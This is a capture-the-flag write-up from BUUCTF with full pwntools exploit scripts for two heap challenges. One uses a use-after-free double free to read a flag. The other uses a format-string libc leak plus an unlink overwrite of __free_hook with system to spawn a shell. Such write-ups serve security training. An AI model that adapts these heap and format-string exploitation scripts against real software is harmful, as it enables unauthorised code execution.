buuctf 2022 3.10

gyctf_2020_some_thing_exceting:

漏洞点：

存在uaf漏洞。

思路：

通过uaf漏洞进行double_free，修改fd即可malloc flag所在地。

exp:

from pwn import *
from LibcSearcher import * 
context.terminal = ['tmux', 'splitw', '-h']
local_file  = './gy1'
local_libc  = './libc-2.23.so'
# remote_libc = './libc-2.23.so'
e = ELF(local_file) 
 
select = 1

if select == 0:
    r = process(local_file)
    libc = e.libc
else:
    r = remote('node4.buuoj.cn', 28498)
    #libc = ELF(remote_libc)
context.log_level = 'debug'
context.arch = e.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(ru(data)[-4:].ljust(4, b'\x00'))
uu64    = lambda data               :u64(ru(data)[-6:].ljust(8, b'\x00'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

chunk_addr = 0x6020c0
def dbg(cmd=''):
     gdb.attach(r,cmd)
def fmt(prev, word, index):
    ret_str = b""
    if prev < word:
        result = word - prev
        ret_str = b"%" + str(result).encode() + b"c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        ret_str = b"%" + str(result).encode() + b"c"
    ret_str += b"%" + str(index).encode() + b"$hhn"
    return ret_str
def fmt_str(offset, size, addr, target):
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

flag_addr = 0x6020A8
chunk_addr = 0x602040
r.timeout = 0.5
def add(a_size,a_desc,b_size,b_desc):
    ru(b"want to do :")
    sl(b'1')
    ru(b'length : ')
    sl(str(a_size).encode())
    ru(b'ba :')
    sl(a_desc)
    ru(b'length : ')
    sl(str(b_size).encode())
    ru(b'na :')
    sl(b_desc)

# def edit():
#     ru(b"want to do :")
#     sl(b'2')

def delete(index):
    ru(b"want to do :")
    sl(b'3')
    ru(b'> Banana ID :')
    sl(str(index).encode())

def show(index):
    ru(b"want to do :")
    sl(b'4')
    ru(b'ID : > SCP project ID :')
    sl(str(index).encode())

add(0x50,b'aaaa',0x50,b'bbbb') 
# show(0)
# ru(b'na is ')
# addr = u32(rc(4))
# success(hex(addr))
add(0x50,b'aaaa',0x50,b'bbbb')

delete(0)
delete(1)
delete(0)
add(0x50,p64(flag_addr-0x10),0x50,b'')
add(0x50,'aaaa',0x50,'bbbb')
add(0x50,b'',0x20,b'')
show(4)
r.interactive()

axb_2019_heap:

思路：

格式化字符串泄露libc，unlink实现任意地址写，free_hook写为system或者one_gadget

exp:

from pwn import *

context.log_level = 'debug'

p=remote('node4.buuoj.cn',27875)
elf=ELF('./axb_2019_heap')
libc=ELF("./libc-2.23 .so")

def add(idx,size,content):
    p.sendlineafter('>>','1')
    p.sendlineafter('):',str(idx))
    p.sendlineafter('size:',str(size))
    p.sendlineafter('content:',content)

def delete(idx):
    p.sendlineafter('>>','2')
    p.sendlineafter('index:',str(idx))

def edit(idx,content):
    p.sendlineafter('>>','4')
    p.sendlineafter('index:',str(idx))
    p.sendlineafter('content: \n',content)

def show():
    p.sendlineafter('>>','3')

p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-0x1186
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
bss=base+0x202060
add(0,0x98,'a'*0x98)#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3

payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
edit(0,p64(system))
delete(3)
p.interactive()